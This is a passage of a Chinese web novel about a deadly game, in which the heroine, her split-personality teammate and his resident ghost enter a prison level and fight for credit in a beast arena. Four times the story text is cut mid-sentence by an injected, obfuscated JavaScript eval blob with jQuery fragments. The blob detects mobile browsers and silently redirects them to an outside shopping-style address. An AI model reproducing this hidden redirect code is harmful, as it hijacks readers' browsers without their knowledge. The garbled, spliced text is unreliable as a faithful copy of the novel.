梅子喻皱起眉,小心翼翼地靠近他。男鬼抬起头,眼里盈满泪水,哭着说道:“梅子……” 她被吓得一抖,才想起来现在已经是白天了,可以尽情地说话。 “梅子,我好害怕……” 显然,这是灰烬的人格。 对着自己当初见死不救的前队友,梅子喻心里有些愧疚。但她并不知道,这所谓“人格”真是灰烬本人的意志体现,还是男鬼受灰烬影响而分裂出来的一个人格。 如果是后者,她可不会有什么同情怜悯之心。 梅子喻问道:“昨晚发生了什么?” “昨晚……”男鬼把自己缩得更紧了些,一边啜泣一边小声说道:“昨晚他们敲墙好像很有规律。我想记录下来这个规律,但我没有笔,就用血记录下了他们敲墙的位置……” “所以他们敲的位置连起来,就是这个‘恨’字?” “是的。梅子,是的。我好害怕……我昨天差点杀了你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14208962|151081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”男鬼神经兮兮地在空旷的牢房里四处看了一圈,小声道:“梅子,我和你说一件事,你不要怕我。” “——我好像有另一个人格。” 梅子喻叹了口气。 看不出来是不是男鬼在演,不过,他也没有演的必要。就当真是灰烬本人吧。 “什么叫差点杀了我?” “他们开始敲墙后,我听了一会,突然觉得特别的恨……特别的恨你。但我又记不起来我为什么恨你了,明明上个游戏你带我们通关来着……但我就是恨你。然后,我感觉我有一种杀人的冲动。我看到了我的罪名卡是杀人犯,我觉得可能和这个有关系。” “——其实最开始,我并没有想划伤自己,我打破了玻璃瓶,是为了杀你。后面我为了转移注意力,就去听他们敲墙的声音,用我的血画出位置,就成了那个字。” 梅子喻听得一头雾水,只觉得邪门,一时不知道要说什么。 最后,只糊弄地安慰了一句:“……放心吧,你杀不死我的,想恨就恨,也没什么。” 男鬼——或者说灰烬——还要说什么,牢房外忽然吹起了响亮的口哨,广播里一道听不出性别的温柔声音说道:“请各位离开牢房,前往食堂。” 其他牢房里陆陆续续传来了下床和交谈的动静。随着说话的人数变多,外面也越来越嘈杂。 梅子喻瞥了灰烬一眼,轻轻踢了下他的鞋子:“我们出发了……灰烬。” 灰烬还是一副畏缩的样子,小心地跟在她背后。 虽然走廊尽头有着光亮,但监狱整体还是昏暗的。梅子喻特意等其他房的人都走的差不多,带着灰烬最后离开牢房——这样想的不止她一个,几乎每个房间的人都是等着其他房的人走出一段距离,才走出房门的。 在对这个游戏规则不甚了解的情况下,每一个玩家都可能是敌人。 离开时,梅子喻特意记下了他们的房号:213。 昨晚发出声音的是隔壁212,里面的人已经走了,空空荡荡。简单一眼看过去,并没有发现什么异常。 走过住宿区,一拐弯就是明亮的食堂,里面已经坐了快一百号人,有的戴着手铐,有的没有,大家都穿着统一的黑白条纹监狱服。食堂门口站着一个穿黑衣服、带大帽子的矮胖狱警,对进入的人依次审查。 走在梅子喻前方的是个瘦子,狱警上下打量了他一眼,给他戴上了手铐,说:“通过。” 瘦子低头,看到狱警帽子下的面容时,身子一阵颤抖,似乎是被吓到了。 梅子喻跟上去,也好奇地看向狱警的脸—— 是空的。 不对,不是完全的空白,有一条黑线从衣服里钻出来,顶住了帽子,像一个衣架。 黑线里传出了就是广播里的那种温柔平和声音:“未通过。” 虽然说着未通过,但并未做出别的举动,也没有给梅子喻戴手铐,只是让她进去了。 灰烬则得到了“通过”的结果,并带上了手铐。 还空着的位子不多,两人随意找了个空位坐下,打量着这一桌的人:算他们俩一共6个,3个有手铐,3个没有。 所有囚犯落座完毕,广播播报道: “今日规则:在夜晚到来之前找到你的罪名。” 27. 监狱三、斗兽场 “亲爱的囚犯们:” “现在,你们拥有无限的食物、水、阳光以及语言!” “在夜晚到来之前,请尽情享用今日的一切。” 广播停止了播报,狱警们端上了一盘盘精美的食物,依次摆在每个玩家面前。 大概在座的人之前都经历过类似的游戏关卡,没有人攻击狱警或其他玩家,都只是老实地坐在位置上,互相交谈。 瘦子也在同一桌。作为本桌第一个开口的人却没有露怯,十分老练地说道:“朋友们,我代号羽毛,经过了六场游戏。你们呢?” 众人纷纷回答。 脸上有几个穿孔的亚比女:“春笋,三个。” 看着像没睡醒的毛躁男:“酒精……二。” 高鼻梁模特脸金发男:“我代号光芒,经过了五关。” 畏畏缩缩的灰烬:“灰烬。我还只通过了一关。” “你呢?”羽毛看向梅子喻,她那头光泽的垂地黑发十分吸睛:“看你的表情,还是新人吧?” “……也不算。”梅子喻回答道:“叫我梅子。我经历了一关。” “那也还是新人呢。我们互相关照着点,大家活到现在都不容易,争取一起通关。”羽毛的发言很自然,虽然大家都知道这只是口号而已,如果利益冲突,他们会毫不犹豫地杀死任何人。即使如此,众人也还是纷纷点头。 春笋:“齐心协力。” 酒精:“坐在一桌就是缘分。如果以后要和别人竞争资源,我们就需要团结。” 光芒:“这种需要竞争资源的游戏关卡我之前玩过,我们合作的力量越强,就越具备优势。” 灰烬作为新人,说不出什么花哨话来,只连连点头。 一派和谐的样子。 梅子喻不禁想起了和芝士他们刚上车的时候,也是这样团结友爱,然后不超过几分钟,小团体就因为她的危险性而四分五裂了。 这游戏里活下来的玩家个个都是人精,她不会再相信诗童和灰烬以外的任何人。 “好,那我们分享下信息吧。昨晚有人尝试过说话吗?有没有听到什么声音?”羽毛问道。 春笋女:“没有任何声音。昨晚应该没人敢说话吧。” 酒精和光芒男也都表示没有动静。 梅子喻:“我们这边倒是听到了隔壁敲墙的声音,应该是来自212。” 羽毛一愣:“我就是212的,我们一整晚都没有发出声音,也没有敲墙。” 梅子喻略有些惊讶:“那前半夜……你们听到我们屋里敲床板的声音了吗?” 羽毛摇摇头。 男鬼敲床的声音并不小,牢房没有门,按理来说周围的房间都应该听到了才对。 既然羽毛和其他人都表示没有听到任何声音,很有可能,声音只能在牢房内传播。 所以后半夜听到的隔壁敲墙声,可能也来自牢房里——也就是男鬼自己敲墙,自己用血画“恨”字。 不过按照灰烬的说法,画恨字和“听到”敲墙的,应该是灰烬的人格,而不是男鬼的。 男鬼疯疯癫癫,但灰烬行事还是有迹可循。梅子喻不禁猜测,是不是男鬼的人格敲墙,灰烬的人格并未意识到自己体内有其他人格,所以误认为是其他人在敲墙?他所谓画下敲墙的位置,多半也是自己的幻想。 画出来的“恨”字,也只是他内心的写照罢了——杀人犯的特性和男鬼想要杀梅子喻的心理,共同唤醒了灰烬人格内心深处对梅子喻的恨意。 这样一想,这件事情就变得不再邪性,不过是灰烬精神病发的小意外而已。 梅子喻松了口气,说出自己的推测:“我怀疑声音只能在牢房内传播,因为我在213,就是你隔壁,昨晚弄出了动静但你没有听见。” “这样么?这个信息很重要。”羽毛思索道:“声音传播有限,夜晚不能说话……还有,刚才规则里很奇怪地要我们享用‘无限的语言’。这些结合起来,是不是能推理出点什么?” “语言是关键。”春笋说道,“夜晚禁止语言,白天可以使用‘无限’的语言,隔着牢房不能传播语言,规则说语言是力量。语言应该是这关游戏的重点。” 酒精:“对,我们一个生存指标是信用度,可能要我们用语言换取信用度,不过现在我还没搞懂怎么提高这玩意。” 光芒:“别忘了我们的囚犯身份还有罪名。这关是生存游戏,需要竞争资源,规则还说了需要工作,应该是通过工作换取。” 他们似乎都在按照自己过去的游戏经验进行推测,也都精准地提到了游戏的一些要点。 说到这,饭菜和饮料端了上来,香气扑鼻,十分诱人,精美到让人不由得猜测,这是不是最后的一餐。 几人迅速地解决掉这顿饭,梅子喻趁机回了诗童几条消息。 旧的诗:你找到罪名了吗? 梅子:我还没激活,你呢 旧的诗:我已经有了,挚爱犯 挚爱犯?这是什么东西? 梅子喻还以为罪名都会像是男鬼的“杀人犯”一般,没想到还有这种不明所以的奇怪罪名。 梅子:什么时候激活的? 旧的诗:当时和你发着消息,突然就激活了 梅子:哪条消息? 旧的诗:交换名字 梅子喻:“……” 她实在不好意思像问男鬼一样问诗童“你是不是喜欢我”。当然,她也不会自大到这样想,而是有了些别的推测。 从男鬼和诗童的经历来看,罪名是需要一些事情或者情绪激活的。 不知夜晚具体指什么时间,她必须尽快找到自己的罪名。 吃完早饭后,梅子喻的血条回到了100,信用度还是5。大部分人看上去精神状态都很好,应该都是满血的状态。 广播适时地播报:“请吃完饭的囚犯自由活动,去你想去的任意地方。” 食堂右边有四条通路,两条有阳光透进来,两条则是完全漆黑。已经陆陆续续有人从这里离开,选择一条通路参观。 羽毛说道:“不知道这里的‘自由活动’到底有多自由。这四条通路很可能选了一条就不能选其他的了,我们先加个好友,去不同的路,如果有什么意外,就群里分享下情况。” 他想的很周全,其他人也都同意。几人加了好友,这次,梅子喻先隐藏了之前的朋友圈,免得被他们认为自己是个喜欢在朋友圈发人死亡照的变态。 通道口没有标牌,盲选的情况下,每条路 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14208963|151081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都一样。他们很快做出了决定:酒精和羽毛选择了同一条光明之路,光芒选择了另一条;春笋去第一条黑暗通路,梅子喻则带着男鬼一起,进入第二条黑暗通路中。 出发之前,羽毛再次强调道:“如果我们进入之后发现没法返回,尽量在群里说下自己所在地的情况。” 这条走廊很长很黑,走进去后几乎看不到前方的路,完全是摸着墙前进的。不得不说,梅子喻踏进去之后略有些后悔——她作为一个人类,还是本能地追逐着光明。不过同时,也没人能抵挡得住“黑暗之路也许会比光明之路更加顺利”的逆向思考。 灰烬害怕地揪着她的衣角,亦步亦趋地跟在她身后,小声问道:“梅子……我们选择黑暗的路,真的正确吗?” “不知道,选择哪个应该都一样吧。” “或许,我们应该留在食堂?” “不行动是最糟糕的。”关于这一点,所有玩家都同意,可见能多次通关的玩家,都是主动出击的类型。 不知走了多久,才看到了一点昏暗的红光。越接近那片红色,就越能听到潮水一般袭来的人群欢呼声。 走出通道的瞬间,巨大的斗兽场闯入视野,红色的天空罩着高高的围栏和数以千计的围观群众,场地正中站着一只等待着战斗的巨兽。 广播高声说道:“欢迎来到斗兽场!” 梅子喻环视一圈,那些群众都和狱警穿着同样的厚重高领黑袍和大帽子,挡住他们的脸。想来衣服下面的样子,应该也是和狱警一样的黑色线条。 一个狱警站在通道口,拦住他们的去路。 它先对着灰烬挥了挥手:“你得到了这份工作。” 又对梅子喻说道:“你还没有罪名。如果你在这次试工中找到了自己的罪名,那么你就可以做这份工作。” 梅子喻问:“工作是指什么?” “厮杀!”狱警激动地挥舞两条空荡荡的袖子,“在场上肆意地厮杀!你赢得越精彩,观众越喜欢你,就能得到越多的信用度。同样,如果你输得很惨,那么就会失去信用度!” 原来,工作就是赚信用度的手段,只不过,是从这些非玩家的观众那里得来。 灰烬向后缩了缩,问道:“可以回去吗?” 狱警回答:“你回去时,就是夜晚。” 不知夜晚后还有没有自由活动的时间,大概率是没有的。看来确实如羽毛所说,道路的选择只能做一次,没有退路。 梅子喻打开手机,群里已经有人同步了“夜晚前不能回去”的消息,不过还没有人详细地说明所在地点的情况。 她现在也没时间说。 “工作可以换吗?” “如果你在这份工作中赚满了信用度,那么可以!也就是说,你要得到所有观众的最高认可,才可以换下一份工作。所以,你最好小心地选择你的第一份工作!” 狱警热情洋溢地提醒,听起来还怪好心的。 观众里爆发出了一阵狂热的呼喊。梅子喻抬头看去,已经有一位玩家上场,开始他的工作了。 “要试试吗?”狱警问。 “当然。” 工作可以找到罪名,而她必须在黑夜之前找到罪名。 她哪有选择的余地。 28. 斗兽场一、罪名 梅子喻进入排队区等候,已经拥有了罪名的灰烬没有跟来,选择在观赏区观看。 队伍前面还有三个没带手铐的囚犯排着,应该都是来找罪名的,后面陆陆续续也有新囚犯过来。大家互相点了点头,但并没心思交谈—— 他们的目光都凝聚在斗兽的台子上。 台上那人高大威猛,看起来战斗力十分强悍,两手各持一把斧头,应该也是上一把游戏里带过来的武器卡牌。 “他会赢吗?”队伍中有人问了句。 “会的吧。”好几个人都给出了肯定的答案,毕竟这人的斧子挥舞得很有气势,应该是个战斗老手了。 一分钟后,斧子男趴在地上苟延残喘,被巨兽咬得全身是血,惊慌地到处爬。 评审狱警说道:“斗兽结束,请观众们进行打分!” 台上观众几乎全都举起了0的牌子,并发出嘘声。 狱警:“本次结算,扣除囚犯‘战斧’50点信用度!” 50点! 队伍中好几个人都慌了,向出口处张望,犹豫着要不要退出,梅子喻也捏了把冷汗。 狱警把战斧抬了下去,在他的伤口处敷上某种黑色药物,血洞很快长上,看战斧的神色,应该是没有继续血量下跌了。 其他几人也都急迫地关注着战斧的状态,见他伤口被治愈,略一松了口气——还好,虽然会扣血量,但还有治疗环节,不是战败就会死。 下一位是个容貌可爱但身材矮小的少女,她一脸绝望、瑟瑟发抖地站在台中央。 估计她的信用度不高,而且,看起来也没什么战斗力的样子。 左右是个死,少女竟惊人的有勇气,眼睛一闭心一横,就这样赤手空拳地对着巨兽冲了过去。 没用上5秒,她就倒在地上不动了。 “斗兽结束,请观众们进行打分!” 观众依然都举起了0分的牌子,只不过这次惨败在大部分人的意料之中,倒没人嘘她。 狱警:“本次结算,增加囚犯‘面包’1点信用度!” 增加了一点? 队伍中几人面面相觑,惊讶道:“怎么这次会是增加?” “观众的评分都是0,说明结算和他们的评价没有关系。” “没关系的话,又为什么让他们进行打分?之前规则里说,赢得精彩,就能得到信用度,输得惨,就会失去信用度。难道是战斧输得太惨了?” “如果说惨的话……他们两个都差不多吧。面包还输得更快一点。” “预期。”梅子喻忽然说道。 其他几人停下讨论,纷纷转过头来看她。见她那头引人注目的长发,不禁多看了几眼。 “区别是预期,他们对你的预期越高,就越难得到信用度!”梅子喻越说越起劲,心道:对,这样就说得通了! 诗童一直信任她,并且清楚她的水平和心理,对她没有更高的预期了。她的所作所为,包括交换名字,都在诗童的预期内——这是作为队友,该有的举动。 所以,诗童并不能增加她的信用度。 但男鬼就不一样了,从一开始,男鬼就没料想到她会愿意和他交流,于是从加好友时,信用度就开始上涨。 “我好像明白了……”下一位上场的囚犯大脑飞速运转,说道:“如果上场时观众心里的评分就是0,结束的时候评分是0或者1,那也能提高信用度,但上场时评分是5,结束时评分是1,即使赢了,也只会扣除信用度。在场上战斗的伤害是会被治好的,但如果信用度扣到0,就算没有伤口血量也会下降。所以在这里工作,并不是非得要胜利不可,赢得观众的信用才是重要的——这样说来,战斧也太惨了!” 话虽如此,说话的人却压不住满面笑容,毕竟,他找到了一条生存之路。 “多谢。”他朝着梅子喻郑重地道谢,走向台前,步伐坚定,看来已经有了应对方法。 上台第一秒,他直接瘫倒在地,开始装死。 梅子喻:“……” 虽然这不失为一种策略,但这样摆烂,观众会买账吗? 观众给出了0的评分,狱警说道:“本次结算,囚犯‘龟壳’信用度不变!” 不变也是一种胜利,他的行为倒是完全证实了“期待”的观点。只不过,不知道没有手铐的龟壳能不能在如此短暂的一场战斗里找到自己的罪名。 下一个上场的就是梅子喻。 连续三场都是0分,观众们的耐心似乎已经耗尽,这次她刚一踏上斗兽场,场下就已经有了嘘声。 是觉得她那长发耽误战斗,还是看她没有厉害的武器? 不论如何,观众对她的起始期待一定很低,这正是她想要的。 如果现在使用长发替身和斩首刀,一定是一次绝杀。虽然不一定能打得过那只战无不胜的巨兽,但起码能得到许多信用度。 只是,狱警也说了,信用度拿满前不能换工作。之后不知道还要在这个斗兽场里战斗多少次,如果第一次就拿出大招,岂不是下一局的起始起望会被拔得很高?到时候,她的信用度会被飞速扣光。 绝不能这样竭泽而渔。第一次上场,像龟壳一样稳住就行,并且,还要尽可能多一些动作,尝试找到罪名。 她还是没搞懂罪名的激活机制,不过也有一个大概的感觉:激活也许需要某种意外的事件或者激烈的情绪。 梅子喻闭上眼,想象对面的野兽即将撕裂自己的身体,放任自己的恐惧肆意蔓延…… 蔓延…… 蔓…… 等等,她好像不觉得恐惧。 大概是龟壳的摆烂验证实在太具说服力了,作为同样准备摆烂,而且拥有很低期待值的她,实在难以产生什么害怕的情绪——毕竟,她已经知道了这场战斗的结果。 不行,得多一些尝试,找到罪名! 她有什么罪? 梅子喻有些焦虑,脑海中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14208964|151081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过了一遍自己身上的卡牌,思考有哪些是现在可以用的。时间紧迫,不论如何碰碰运气,万一某个道具就激活了罪名呢? 斩首刀暂且不用,三件套没有使用的理由,微波炉……这里没有人头可以煮,微波炉略过。 那就只有试试没用过的精致茶具了。 “战斗开始!”狱警宣布道。 “精致茶具!”梅子喻同时喊道。 巨兽张开恐怖的大嘴冲来的同时,她手上出现了一套茶具,左手端着托盘,右手捏着茶杯,上面茶壶、盖碗等等一应俱全,甚至杯子里还有茶水,淡淡香味随着升腾的热气扑来。 梅子喻下意识抿了一口。 不过两秒,这头一人多高的猛兽就已经奔到她的面前,杯具刚刚拿在手,茶水还未进肚,利牙就径直穿透她的胸膛—— 她身子一晃,跌坐在地,但却没有失血或者疼痛的感觉。低头看去,自己胸口是被咬穿了一个洞,但没有流血。 血量仍是100/100,信用度则从5升到了10! 梅子喻猛然想起游戏刚开始时自己激活的成就。 生活玩家:保障生活品质时锁血。 所以现在喝茶就可以阻止血量下降? 巨兽似乎被她淡然的反应激怒了,之前对每个选手都是身上咬个洞,流血但不致死。这次它朝天咆哮一声,刨了刨地,对着她的脑袋嗷呜一声就是狠狠一口,揪掉了向一边丢去。 梅子喻感到那钢筋一般的牙口砸在自己的脖颈上,然后就是一阵天旋地转—— 咚,头掉了。 仍旧没有流血。 梅子喻在脖子上捞了一把,空荡荡的,蛮不适应。想到之前男鬼换头事件,多少也能理解现状——毕竟不是现实中,不论多么逆天的操作,只要没掉血就好。 她迟疑片刻,将茶盘放在地上,右手仍旧捏着茶杯不放:要是松了手,不再锁血,估计在狱警们抢救她之前就死翘翘了。 毕竟现在可不是简简单单的被咬了个洞,而是头被咬掉了。 此时她的视野里世界横了过来。她能看到自己慢慢地蹲下,茫然无措的左手在地上摸来摸去,控制不好方向。 场上一片寂静,不论是观众还是囚犯都看呆了。 梅子喻好不容易适应了这个奇特的视角,眼看就要抓到那只滴溜溜翻滚的头,巨兽忽然冲过来,叼着头就跑。 她的头! 别跑! 梅子喻这下彻底慌了,捏着茶杯朝自己脖颈里倒了倒假装是在喝茶,维持下生活品质,然后撒腿快跑,追了上去。 刚跑没两步,系统提醒: 【罪名已激活】 【你的罪名为:热爱生活犯】 【罪名评价:头都掉了,你还在喝茶。】 【你将抽到更多的生活类卡牌】 梅子喻:“……” 好消息是罪名激活了,坏消息是现在有些摸不着头脑。 29. 斗兽场二、替身代打 “梅子,不要死——” 死寂的场地上,忽然响起一声响亮的呼唤。 梅子喻的视野被巨兽的嘴笼罩住,看不到发生了什么,但这声音和语气无比熟悉,是灰烬的。 此声过后,场上像是忽然沸腾的开水,一下子炸开了锅,观众纷纷欢呼尖叫起来。 “别死!别死!” “抢头!抢头!” 梅子喻的信用度在飞涨,一路升到了40。只要她还在追着头前进,欢呼声就不曾停下。他们像等待她进球的球迷,全场的目光和期待都集中在那只被巨兽叼起的脑袋上——她心里清楚,一旦她没有抢到,或者显出疲态,他们会立刻发出嘘声,并且信用度会极速下降。 期望值被拉得太高了,这很危险。 灰烬的呼喊很快被淹没进场上震天动地的欢呼中,梅子喻却突然清晰地听到鼎沸人声之下,规律的敲墙声。 笃笃笃、笃笃笃。 和之前在牢里的一样。 梅子喻立即察觉到其中的怪异之处:不论这声音是从哪里发出来的,在这么吵闹的场地中,绝不应该听到的如此明确,就好像有人正在她身边敲墙一样。 天旋地转之中,她不禁想起了那晚灰烬在墙上用血的“恨”字。那时他说,突然觉得特别恨她。 瞬间,敲墙声变成了带着绝望和期待的、声嘶力竭的哭声。 “不要死、不要死、我恨你、我恨你……” 与敲墙同样的节奏,一道声音,在左右两耳边响起了不同的话语。 “不要死”是模糊的,隐隐约约藏于喧嚣之中,“我恨你”却仿佛贴在耳畔哀嚎。 这是怎么回事? 梅子喻很想看看灰烬现在的样子。她试图扭动自己的头,但只是挪动了几根头发丝,在巨兽的嘴里撩了一下。 巨兽全身颤抖,一个喷嚏打出去,惊天巨响之下,梅子喻的头也顺着它的气息飞了出去。 一道优美的抛物线——咚。脑袋再次落地,飞速滚远了。 极度的晕眩让梅子喻差点直接摔倒在地。她一边乱七八糟地跑着S形路线,一边往自己的脖子里倒茶,醉酒一般。 巨兽被刚刚嘴里的瘙痒弄得癫狂,爪子挠了挠脸,发疯一般继续追逐着头而去,这个速度并非梅子喻现在能跟上的,她不禁出了一身冷汗:下一次巨兽会不会直接把她的头吞下去? 脑袋最终停在了观赏区的围栏前。从这个位置,刚好可以看到倚着围栏的灰烬。 梅子喻可以清楚地看到他是如何激动地敲墙,就像那晚一样有节奏地,三连一顿地拍打栏杆,看口型,正对着她的头担忧地喊“不要死。” 说的是不要死,传到耳中就变成了“我恨你”。 梅子喻忽然想到,那天晚上别的牢房都没有听到他们弄出来的动静,是否并非因为声音不能在牢房外传播,而是有些特定的语言——只有她能听到? 灰烬向她的头伸出双手,想要拎起来,只是围观区被架得很高,两人之间隔了不止一只手臂的距离,根本够不到。 梅子喻向他伸出了头发。 现在头不在自己身上,头发也不像之前那样可以随意操控,最多做到向上立起来。即使如此,长度也足够灰烬够到一个头发尖了。 灰烬脸上露出欣喜的神色,他急忙扯着发丝末端,像是拉绳子一般将梅子喻的头发猛地拎起来,终于在巨兽赶来之前将头抱在怀里。 “嗷!” 巨兽愤怒地嚎叫一声,在观赏区前沿原地刨坑,但没有冲出斗兽场。 灰烬抱着她的头,逐步向后退去,“梅子,太好了……”他欣喜地将脑袋举高,说道:“太好了,你活下来了。太好了,你也成了人不人鬼不鬼的模样!太好了!你的脑袋也掉下来了!现在你知道我当时的感觉了吗?人首分离的感觉,头被勒断的感觉?” 他的眼神不断变化,似乎是多个人格在争抢身体的主权,眼角溢出泪水,嘴角却勾起来,是一个痛苦的笑。 “梅子,你告诉我,那时候到底发生了什么?有人对我说,你当时抛弃了我,但我觉得那不可能!你当然来救我了,就像我现在来救你一样,而且我也活下来了,和你一起活到了下一关。所以你那时怎么可能会对我见死不救呢?你怎么会看着我死去呢?我的头还长在我自己的身体上,我还是最初的我,是这样的吧?梅子,你告诉我。你告诉我啊!” 虽然灰烬的人格说他不记得后面发生的事情了,但是按照他现在的表现,多半对那段死亡事件还有印象,只是内心不愿意承认罢了——他更愿意相信是梅子喻在危急时刻救了他,然后带着他离开了游戏。 梅子喻不知这时是不是该安抚他。但见那逐渐癫狂的神色,她心里也清楚,灰烬早晚会崩溃。 他的“恨”字就说明了一切。哪怕他极度渴望梅子喻活下去,说出的话是不要死,但真正的含义却是我恨你。 半晌,梅子喻回答道:“你明明记得。” “…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14208965|151081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我不记得……我不记得了!你不要骗我!”灰烬眼里露出一丝狠色,与他之前的压抑不同,只是不带有复杂情绪的单纯的杀意,梅子喻神色一凛,头发挣扎起来,就要从他手中挣脱。 “我救了你,你跑什么,梅子。”灰烬压住她无力翻腾的长发,嘴角勾起的弧度越来越大,眼泪流尽,没有新的痛苦流出来。他的恨意消失了,取而代之的是傲慢和把玩之意:“……梅子……你跑不掉的,猎物小姐。” 是男鬼! “猎物小姐。”男鬼执拗地叫着上一关的身份,好像这样称呼就能显得他的地位高人一等似的。他捧着她的头贴到面前,从她的瞳孔中打量自己的容颜:“看看你现在,变得和我一样了,我早就说过,我们是同类,你和我一样,你的结局也会和我一样。只不过,不好意思,我要先你一步杀了你。” 他手里伸出了那道带着尖刺的索命绳,拢住梅子喻的长发,猖狂地大笑了几声,说道:“把头发还给我!” 利刃收缩,头发被一丝丝地斩断,剧痛袭来,梅子喻疼得蹲坐在地。见她这样软弱的表现,信用度下滑了5个点。 “头发!我的头发要回来了!哈哈哈!”男鬼拎着她的发尾原地转圈,像是和她的头跳了一曲圆舞曲。这样转了两圈,梅子喻头更晕了,之前还能控制着发尾翘起来,现在却像和头发断了联系一般,根本无法感知到它的存在。 ——咔咔咔。 正头疼时,她忽然听到头发在笑的声音。 ——请使用我。 头发在对她说话! 梅子喻拼命地向脖子里灌茶续命,但这样的举动已经不足以让信用度涨回来了。现在无论如何,都要把她的头抢回来! ——请允许我使用我。 “我允许!” 梅子喻喊道。 “什么?”男鬼发癫的动作顿了顿,略皱起了眉:“小猎物,你在和谁说话?你允许我杀了你?我杀你,需要得到你的允许吗?你——” 后面的话,梅子喻没听到。她只全神贯注地聆听系统播报的声音。 【解锁成就:替身代打】 【成就说明:你无法保护你的替身,于是它决定自己保护自己】 【成就buff:与替身切断联系后,替身拥有自我控制的能力】 下一瞬间,她的长发分成两缕,一左一右扬了起来,在男鬼惊讶的眼神中朝着他的面上扑去。 啪啪。 左右开弓,两个耳光。 30. 斗兽场三、双马尾 大概这两下击打过于突然,男鬼愣在原地,头发趁机挣脱,落地之时一左一右分成两撮,各撑着一边站了起来,高度与梅子喻相仿,仿若一个无身人。 【解锁成就:双马尾】 【成就说明:换了个发型】 【成就buff:你可以以双马尾的形态出击】 梅子喻:? 她看不到自己的模样,只能感觉到头发确实左右各一束聚在一起。从造型来看,说是双马尾倒也没错…… 男鬼那张惨白的脸难得涨得通红——也可能是被打得通红,几道刮伤的伤口并列排布,道道滴血。看来它对曾经的主人也并没有留情,两巴掌就把人打出血了。 “猎、物……” 他低沉的声音压满了怒意,手里上吊绳转得飞起,朝梅子喻的头猛地射出—— “躲一下!” 梅子喻喊出声的同时,两束马尾也动了起来。 像是两只腿一样,一左一右,交替向前迈去。 她跑起来了。 她用双马尾……跑起来了! 躲过了第一击后,双马尾变得更加灵敏,很快躲过第二击,第三击,跳下了观赏台。 巨兽一直蹲在不远处守着,见头回到斗兽场,立即冲了过来。与此同时,男鬼也急得跳脚,从观赏区翻出。一时间,台上站了四种奇怪的生物: 到处乱冲的愤怒巨兽、拎着上吊绳四处索命的发疯男鬼、用头发做腿满场乱跑的奇异脑袋,和用脖子喝茶的无头女人。 梅子喻不知男鬼现在信用度如何,不过自己的信用度一会高一会低,在20到60之间来回波动。大概是这场面过于混乱,观众也不知道对她该抱有怎样的期待。 此时此刻,与巨兽对战已经不是得到信用度的关键了——抢到头才是。 不论巨兽、男鬼,还是梅子喻,目标都是那只双马尾。 竞速追逐赛开始了。 双马尾跑得飞快,两只“腿”像轮子一样转了起来。巨兽跟着它猛冲,但没有任何技巧,经常被双马尾的急刹换方向甩到斗兽场的边缘。男鬼的索命绳比人跑得快,但也无法预测双马尾的前进方向,经常错误地击到巨兽身上,划出数十道伤口,巨兽时不时回过头来,朝着男鬼猛咬一口,一人一兽边追头边斗殴。 与他们比,梅子喻是跑得最慢的。她眼里看的是一番风景,自己脚下踩的则是另一块土地,根本找不到方向。 双马尾跑得越快,她就越找不到北。 没过一会,双马尾都绕场溜鬼溜怪跑了两圈,她还在场地中间茫然四望。 信用度在以稳定的速度下降。 梅子喻有些慌了,但她不敢显露出来,生怕被观众看出自己没自信,导致信用度进一步下降。 速度和武器都没有优势的情况下,要怎么找回自己的头? “回来吧……”她试探着说道,“回到我这里,我能更好地使用你。” 头发没反应,好像没听见一般。 “听得到吗?喂?头发?你活着还是死了?” ——咔咔咔。 头发在笑,但不理她,大概是在享受自由的快乐。 不过,能交流就好。梅子喻松了口气,她还有一个说服替身的成就,如果没办法了,还可以嘴炮。 不,不对。 如果现在追回了头,接下来就要同时面对巨兽和男鬼两个难缠的对手。现在让头发满场跑,反而是分散风险的最优策略。 再者说,追头的根本目的是信用度。如果现在不是拿到头的最佳时机,也可以跳过这个中间环节,直接获取信用度。 信用度看的并非真正的胜利,而是期望。 只要他们认为她很强,那么她就是很强。 梅子喻打定主意,直接盘腿坐下,姿态放松,优雅喝茶,另一只手抬起来,顺着头跑动的方向画了个圈。 观众的呼喊静止了一秒。 